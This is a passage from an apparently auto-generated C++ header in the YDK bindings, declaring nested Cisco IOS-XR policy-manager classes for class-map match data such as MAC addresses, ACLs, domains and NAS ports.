//type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDlci::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcMac : public ydk::Entity { public: SrcMac(); ~SrcMac(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList mac_addr; //type: list of uint16 ydk::YLeafList mask; //type: list of uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcMac class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstMac : public ydk::Entity { public: DstMac(); ~DstMac(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList mac_addr; //type: list of uint16 ydk::YLeafList mask; //type: list of uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstMac class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AtmClp : public ydk::Entity { public: AtmClp(); ~AtmClp(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AtmClp class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDe : public ydk::Entity { public: FrDe(); ~FrDe(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FrDe class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Acl : public ydk::Entity { public: Ipv4Acl(); ~Ipv4Acl(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4Acl class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Acl : public ydk::Entity { public: Ipv6Acl(); ~Ipv6Acl(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6Acl class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::EtherServiceAcl : public ydk::Entity { public: EtherServiceAcl(); ~EtherServiceAcl(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::EtherServiceAcl class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AvailId : public ydk::Entity { public: AvailId(); ~AvailId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AvailId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MediaType : public ydk::Entity { public: MediaType(); ~MediaType(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::MediaType class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SubsProtocol : public ydk::Entity { public: SubsProtocol(); ~SubsProtocol(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint8_array; //type: list of uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SubsProtocol class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dnis : public ydk::Entity { public: Dnis(); ~Dnis(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Dnis class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DnisRegex : public ydk::Entity { public: DnisRegex(); ~DnisRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DnisRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Domain : public ydk::Entity { public: Domain(); ~Domain(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class DomainArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Domain::DomainArray ydk::YList domain_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Domain class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Domain::DomainArray : public ydk::Entity { public: DomainArray(); ~DomainArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf domain_name; //type: string ydk::YLeaf format_name; //type: string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Domain::DomainArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DomainRegex : public ydk::Entity { public: DomainRegex(); ~DomainRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class DomainArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DomainRegex::DomainArray ydk::YList domain_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DomainRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DomainRegex::DomainArray : public ydk::Entity { public: DomainArray(); ~DomainArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf domain_name; //type: string ydk::YLeaf format_name; //type: string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DomainRegex::DomainArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::NasPort : public ydk::Entity { public: NasPort(); ~NasPort(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class NasPortArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::NasPort::NasPortArray ydk::YList nas_port_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::NasPort class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::NasPort::NasPortArray : public ydk::Entity { public: NasPortArray(); ~NasPortArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf sub_id; //type: MatchNasPortSubIdEn ydk::YLeaf operator_; //type: MatchLogicalOperatorEn ydk::YLeaf value_; //type: uint32 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::NasPort::NasPortArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceName : public ydk::Entity { public: ServiceName(); ~ServiceName(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceName class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceNameRegex : public ydk::Entity { public: ServiceNameRegex(); ~ServiceNameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::ServiceNameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv4 : public ydk::Entity { public: SrcAddrIpv4(); ~SrcAddrIpv4(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Ipv4AddrArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv4::Ipv4AddrArray ydk::YList ipv4_addr_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcAddrIpv4 class 